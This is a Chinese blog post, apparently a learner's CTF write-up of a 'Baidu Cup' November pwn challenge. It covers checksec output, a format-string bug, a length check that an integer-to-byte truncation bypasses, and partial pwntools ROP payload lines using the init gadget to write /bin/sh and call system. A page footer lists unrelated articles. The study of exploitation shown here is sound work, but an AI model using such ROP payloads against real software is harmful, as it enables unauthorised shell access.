拿到题后,就直接开鲁。。

/ctf/pwn# checksec pwnme
[*] '/ctf/pwn/pwnme'
Arch: amd64--little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了 NX和ERLRO。

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

RelRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

int __fastcall show(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
printf(&formata, a2, a3, a4, a5, a6); // //printf name
return printf((const char *)&a9 + );
} // // printf pwdname

很明显的一个格式化字符串的漏洞。

然后想到了泄露,但是实战能力不足,不会怎么用,所以就跟着大佬的writeup 慢慢复现。

if ( (_BYTE)read_new_pwdlength && (unsigned __int8)read_new_pwdlength <= 20u )// //这里会截断
{
memset((char *)&desta + , , 0x14uLL);
sub_400A90(tmp_pwd_buf, read_new_pwdlength);
memcpy((char *)&desta + , tmp_pwd_buf, read_new_pwdlength);

这个有个 截断 ,在int 转化成BYTE的时候只会保留后面的一个字节。所以可以用0x101 绕过。

剩下的思路就是利用init_main,调用read 往.bss 段写/bin/sh\x00

再调用system。

但是rop的构建有很多不理解的,于是我就一个个 去调试,

payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64()
payload += p64(init_gadget) + p64(0x8) * #pad 可以测出来。 payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)

前面的

p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)

是赋值,然后满足条件就执行。
 loc_400EB0:                             ; CODE XREF: init+↓j
.text:0000000000400EB0 mov rdx, r13
.text:0000000000400EB3 mov rsi, r14
.text:0000000000400EB6 mov edi, r15d
.text:0000000000400EB9 call qword ptr [r12+rbx*] //执行这个
.text:0000000000400EBD add rbx,
.text:0000000000400EC1 cmp rbx, rbp
.text:0000000000400EC4 jnz short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6: ; CODE XREF: init+↑j
.text:0000000000400EC6 add rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15
.text:0000000000400ED2 init endp

后面的

p64(0x8) * 7对应了下面的几个,然后跳到 system去
.text:0000000000400EC6                 add     rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15

至于前面的A*0x28是从IDA调试出来的,刚刚好覆盖到ebp,然后下一个就是返回地址了

这次的学习,让我知道自己的调试的能力很差 ,还有构建rop的想法不够。动手能力欠缺。

百度杯 十一月 的一道pwn题复现的更多相关文章

  1. HCTF2018 pwn题复现

    相关文件位置 https://gitee.com/hac425/blog_data/tree/master/hctf2018 the_end 程序功能为,首先 打印出 libc 的地址, 然后可以允许 ...

  2. “百度杯”CTF比赛 十月场 Hash 复现

    进入题后老套路得到两个关键: 1.$hash=md5($sign.$key);the length of $sign is 8 2.key=123&hash=f9109d5f83921a551 ...

  3. 十一月百度杯pwnme 详细wp

    目录 程序基本信息 程序溢出点 整体思路 exp脚本 成功获得flag 参考 程序基本信息 可以看到开启了栈不可执行和got表不可写保护. 程序溢出点 在函数sub_400AF7中,v8可以读入0x1 ...

  4. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  5. [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)

    简介  原题复现:  考察知识点:PHP弱类型.  线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露  下方都试了 ...

  6. pwn200,一道不完全考察ret2libc的小小pwn题

    pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...

  7. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  8. “百度杯”CTF比赛 2017 二月场(Misc Web)

    爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...

  9. 2017 百度杯丶二月场第一周WP

    1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危 ...

随机推荐

  1. 线性回归 python 代码实现

    本代码参考自:https://github.com/lawlite19/MachineLearning_Python#%E4%B8%80%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%B ...

  2. ajax同步请求与异步请求的区别

    ajax 区别: async:布尔值,用来说明请求是否为异步模式.async是很重要的,因为它是用来控制JavaScript如何执行该请求. 当设置为true时,将以异步模式发送该请求,JavaScr ...

  3. 前后端hosts配置访问问题解决思路

    问题背景:前后端分离情况下后端开发测试需要配置hosts,有此问题的人员有RD,QA,PM,User 测试环境由于用户使用这种配置导致无法使用线上系统发起单据影响用户使用,同时让用户误以为系统出问题而 ...

  4. css简介以及css的添加方法

    什么是css? CSS是Cascading Style Sheets的简称,CSS是用来美化网页中文称为层叠样式表,用来控制网页数据的表现,可以使网页的表现与数据内容分离. css的基本语法 1.选择 ...

  5. SpringBoot整合Mybatisplus3.x之CRUD(一)

    pom.xml <dependencies> <dependency> <groupId>org.springframework.boot</groupId& ...

  6. 【python3基础】命令行参数及 argparse

    目录 命令行参数及 argparse 包 argparse 传递 bool 参数错误做法 argparse 传递 bool 参数正确做法 1 argparse 传递 bool 参数正确做法 2 Ref ...

  7. .NET Core 3.1 编写混合 C++ 程序

    前言 随着 .NET Core 3.1 的第二个预览版本发布,微软正式将 C++/CLI 移植到 .NET Core 上,从此可以使用 C++ 编写 .NET Core 的程序了. 由于目前仅有 MS ...

  8. Linux 命令之 crontab

    crontab 简介 crontab 主要用于需要管理周期执行定时任务的场景 crontab 安装 (有些系统默认已经带了 crontab,无需安装的朋友可以直接跳过本节) 安装: yum insta ...

  9. tracert/traceroute原理

    一.路由追踪程序traceroute/tracert Traceroute是Linux和Mac OS等系统默认提供的路由追踪小程序,Tracert是Windows系统默认提供的路由追踪小程序.二者的功 ...

  10. Asp.Net Core 单元测试正确姿势

    背景 ASP.NET Core 支持依赖关系注入 (DI) 软件设计模式,并且默认注入了很多服务,具体可以参考 官方文档, 相信只要使用过依赖注入框架的同学,都会对此有不同深入的理解,在此无需赘言. ...